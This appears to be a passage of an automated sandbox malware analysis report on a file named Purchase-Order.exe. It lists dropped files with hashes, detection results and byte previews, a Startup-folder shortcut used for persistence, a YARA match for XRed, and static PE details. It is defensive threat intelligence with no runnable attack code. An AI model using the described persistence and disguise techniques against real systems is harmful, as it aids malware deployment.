Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="quZXicxmPlsQ6_xzgs183A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xcYjW2J.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265669767811837
Encrypted:	false
SSDEEP:	24:GgsF+0wWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	87DB35E080224E79577BDF3F3E72DE5C
SHA1:	D9BD9FE2C48C35FD339251200207C45D9ADE816E
SHA-256:	C97F492381C52ADDC96F6F70CA27AB0512F328312EBF3A2186F776976F90DFF5
SHA-512:	869BD8E9D47242CB19C2C0F8FE14318A5A61D4AE927AD1E46027BA8683790631A5239442485AABAE758175D0985D434E9268C653D81F8381A3447C4C8376F446
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GQmjP-ORdWkcQj7nicwIYQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\y4EQFH4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260065641400897
Encrypted:	false
SSDEEP:	24:GgsF+0H1SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a+pAZewRDK4mW
MD5:	2C675E71B91071FFF29D1EEDB8781E0A
SHA1:	DCA995BCD3C6E2B91E101320079E88CF5031D57B
SHA-256:	0B1834F4D33B70E63EB0272650224FC772B921DC95AB3880D3BD151146C8B428
SHA-512:	114EDCA14BC68CD77420454B0EDD6411829B45D6CD3BF60596C66CCC2E9150638321F9A571D38E3FC18E8B612F9B1E51270AAB76524496EF6453CEE47607EF44
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IqxWXa4tpBi4r_D_RHuyDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ySQbQTG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.282296515272011
Encrypted:	false
SSDEEP:	24:GgsF+0jdRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+qdR+pAZewRDK4mW
MD5:	E71BA4697413C28C8F4F7EBE45F2AAEF
SHA1:	D4ABF9F440179FADCEA34E77FB4BFC0A06D8E6F7
SHA-256:	DDE154EBC2F4F999A3E36C7D8945A3CB21F5300A46D87E6851B23E0C30F61038
SHA-512:	0B0130748355670684387C7BDA00F0D3B02941E30B03CBEF8A6FD7B32C670BA6F20132EC0A1BC62EFA51CCF8AD2DD0C4837CE254A1E68B98C8E0059683E0C71F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="56Vb4ORDQ9JjHIUfVh5fNA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\yTMQUuO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265142473646473
Encrypted:	false
SSDEEP:	24:GgsF+03ySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	99BD7F02348AA79EC005E3C734CA2BDE
SHA1:	9C347653E50CB48C693A3EDEC050773C0D2DD886
SHA-256:	98EDD961651311A4DDC5F512088D9B899A045413885AE21279AED50DA6E456D6
SHA-512:	FFEA3CC73C11E887327C44E746DC850D3F8F0EA86FE90B0829E8F44F88531EAEFF122787E85122C6EC22FA54A76EEEEBC9696CC8E713481A3614FABB94DC83A2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mZmzJOBYoOHrP8NboE1O4g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\z7OPGZN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259251414486252
Encrypted:	false
SSDEEP:	24:GgsF+0CaSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ha+pAZewRDK4mW
MD5:	D49D5254761356A02D8E072F9A55FC5C
SHA1:	C9ED0A61A0C0FC14AD4AA0A1771D5A2A61C6DA3C
SHA-256:	3109A63EDB82E83D078E8016559683DA4A28AFB800C660963B8B042174D9C59C
SHA-512:	2E06B35C3A0CBA87A3E4A32FB5A79EE7EB6662980B96E49D0B9D79A95D4B77F18DF2E2142B30D9CE32D26F4BC6E44A02A5F031378468ED7F0849EEF3B55082AC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uGkpkQkzoKyp7oHUyiUEIQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zIIswrV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263319868016921
Encrypted:	false
SSDEEP:	24:GgsF+0HSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	0CF1240BB3A6AB076E17D1947F8CDB0E
SHA1:	93F22A72056E5F4F454ACB495164F431F8F15CF8
SHA-256:	7763E12F980002F2D1182448EE4902D6D0D7E4884924F2227E74C8AD9F1BF3D4
SHA-512:	01CAA1D1D8422C2C294BCAFD085683396E093B40706608D0B1888B2E92A85B44279E3C3357558378886F42233CE6D7E754D2328E638FAAD5A3CB12F77386DDAF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="p9wnIWfa1KPBiI2yw8eVSA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zkOmoDk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259566574109022
Encrypted:	false
SSDEEP:	24:GgsF+0OGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+LG+pAZewRDK4mW
MD5:	EFF503A141AA92D97A17A5A287149CC0
SHA1:	E3DFEAF42BFD27265078E92C05F5FAA46CD91B96
SHA-256:	9DAA113165C7C0F14AE8F57FC66A6FE72ED8CE1ADA88E4E385A11C6AD8137F94
SHA-512:	C876D01C493F16ADDA5EDB71BACE1F95FF7D66C1F2F8DF7D41B5918564A8DD7EFE928AF3ED04E4BEDB7E31DC9F0E77216528AB7844FB530BA06D45A6AE82637A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kwSpfq97byMV-L59td4sWQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LMDNDG.lnk

Download File

Process:	C:\Users\user\Desktop\._cache_Purchase-Order.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=4, Archive, ctime=Mon Dec 30 09:35:46 2024, mtime=Mon Dec 30 09:35:46 2024, atime=Mon Dec 30 09:35:46 2024, length=1433600, window=hide
Category:	dropped
Size (bytes):	1805
Entropy (8bit):	3.428861357731731
Encrypted:	false
SSDEEP:	24:8FAL9Jb3L7+o/eqenW+xAexgM3rE2+s9T4IlgzBm:8EnLp/ank+br9MIl8
MD5:	B6B64D21C54C67F20C7D5FBD2BF696E3
SHA1:	B94B67F67FE3FE6B73BFBE1A9AF62AC7F1A8DE09
SHA-256:	C015E756032E918CC841B19742467BACC4F6878DF3F75EF945A22D0952AD5B67
SHA-512:	0919861F862EFC1DA5ADB00DCE7BAAC6333E0A9439C22DDFAA6823911A1675443C036BBCFB2F336E6AD29344FC0ABC7068E18FFD0548BF516E03A2C91E363020
Malicious:	false
Preview:	L..................F.@.. ....3.Z../....Z../....Z............................:..DG..Yr?.D..U..k0.&...&......vk.v....=...Z.......Z......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.YvT...........................%..A.p.p.D.a.t.a...B.V.1......YsT..Roaming.@......CW.^.YsT...........................!..R.o.a.m.i.n.g.....V.1......YwT..Windata.@......YwT.YwT..............................W.i.n.d.a.t.a.....`.2......YxT .OJTLMJ.exe..F......YxT.YxT....i.........................O.J.T.L.M.J...e.x.e.......`...............-......._.............~......C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe..!.....\.....\.....\.....\.....\.W.i.n.d.a.t.a.\.O.J.T.L.M.J...e.x.e.).".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.a.t.a.\."...C.:.\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.s.h.e.l.l.3.2...d.l.l.........%SystemRoot%\SysWOW64\shell32.dll...............................................................................................................

C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe

Download File

Process:	C:\Users\user\Desktop\._cache_Purchase-Order.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1433600
Entropy (8bit):	7.206229660873325
Encrypted:	false
SSDEEP:	24576:s4lavt0LkLL9IMixoEgealA0LDRcj2sihc/S2sVRdnTyVdq9MmCS:7kwkn9IMHealA0Rcj2sdS2CFAaPCS
MD5:	5C99BB8A6972F6FCE154D00AA56F2F9D
SHA1:	858EA7DA6E49971E4912D4086425FD13A3939FE5
SHA-256:	80DFD89D85F7614654C487906AC90B5EDAE84535ECD6E8EC10C9F42C2A1BF4F5
SHA-512:	3409EA0C42887C91A778CB9D2A7BBAC1047610C146639BEE5C57D7A2F28E3510122B57DE942EA29DC717581C1FFF90294CC0DBAFF3EFE925DCFCA441EE01D523
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L...T.ag.........."..................k............@..........................@......(.....@...@.......@.....................lk..\|....@...K...................... l..................................p'..@...............X............................text...t........................... ..`.rdata..j...........................@..@.data...4........b..................@....rsrc....K...@...L..................@..@.reloc..b............:..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_Purchase-Order.exe

Download File

Process:	C:\Users\user\Desktop\Purchase-Order.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1433600
Entropy (8bit):	7.206229660873325
Encrypted:	false
SSDEEP:	24576:s4lavt0LkLL9IMixoEgealA0LDRcj2sihc/S2sVRdnTyVdq9MmCS:7kwkn9IMHealA0Rcj2sdS2CFAaPCS
MD5:	5C99BB8A6972F6FCE154D00AA56F2F9D
SHA1:	858EA7DA6E49971E4912D4086425FD13A3939FE5
SHA-256:	80DFD89D85F7614654C487906AC90B5EDAE84535ECD6E8EC10C9F42C2A1BF4F5
SHA-512:	3409EA0C42887C91A778CB9D2A7BBAC1047610C146639BEE5C57D7A2F28E3510122B57DE942EA29DC717581C1FFF90294CC0DBAFF3EFE925DCFCA441EE01D523
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L...T.ag.........."..................k............@..........................@......(.....@...@.......@.....................lk..\|....@...K...................... l..................................p'..@...............X............................text...t........................... ..`.rdata..j...........................@..@.data...4........b..................@....rsrc....K...@...L..................@..@.reloc..b............:..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\DVWHKMNFNN.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$DVWHKMNFNN.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.638013190381294
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9ICXr:ansJ39LyjbJkQFMhmC+6GD9x
MD5:	ACA4D70521DE30563F4F2501D4D686A5
SHA1:	6C2BAA72EA5D08B6583893B01001E540213F4AAF
SHA-256:	449B6A3E32CEB8FC953EAF031B3E0D6EC9F2E59521570383D08DC57E5FFA3E19
SHA-512:	DA806BD4AC02C45C17ED5D050428B3E7B15E8F148ACB156CFB41EAB3E27C35FA91AB1A55D18C6EF488A82D3379ABF45421432E2EFAF2FAE4968C760D42215A7C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.057045739046609
TrID:	Win32 Executable (generic) a (10002005/4) 92.57% Win32 Executable Borland Delphi 7 (665061/41) 6.16% Windows ActiveX control (116523/4) 1.08% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	Purchase-Order.exe
File size:	2'205'184 bytes
MD5:	63a057389438a0b287d32e31149d6ad4
SHA1:	f2114dea9d348008317751d413bdf5d4fc047513
SHA256:	1150fc6830ed3e383726e18b447d840f62f74b30d072291762a70d6c7600cb45
SHA512:	a2caba5e5e38c282e224a1b381bfa7ce140ab018b118c4fbd224d9444c4380a664131b35b21d05aab5b041683a3095a33b442b288505a75d93989d4a1ddbd096
SSDEEP:	49152:hnsHyjtk2MYC5GDfkwkn9IMHealA0Rcj2sdS2CFAaPCSO:hnsmtk2aBdnV94212CRPCt
TLSH:	E3A5C062B3D58172C173563AAC37A752AC3BBE191D34B54F3FE42E1DAE31342151A2A3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2eec8e8cb683b9b1

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007FCE74B1173Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FCE74B65085h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007FCE74B64C84h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007FCE74B65074h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FCE74B650E8h
call 00007FCE74B0F21Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x16fd30	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x16fd30	0x16fe00	302eb354210128e2f62b7dc122912db9	False	0.642175288820931	data	7.159034819635589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
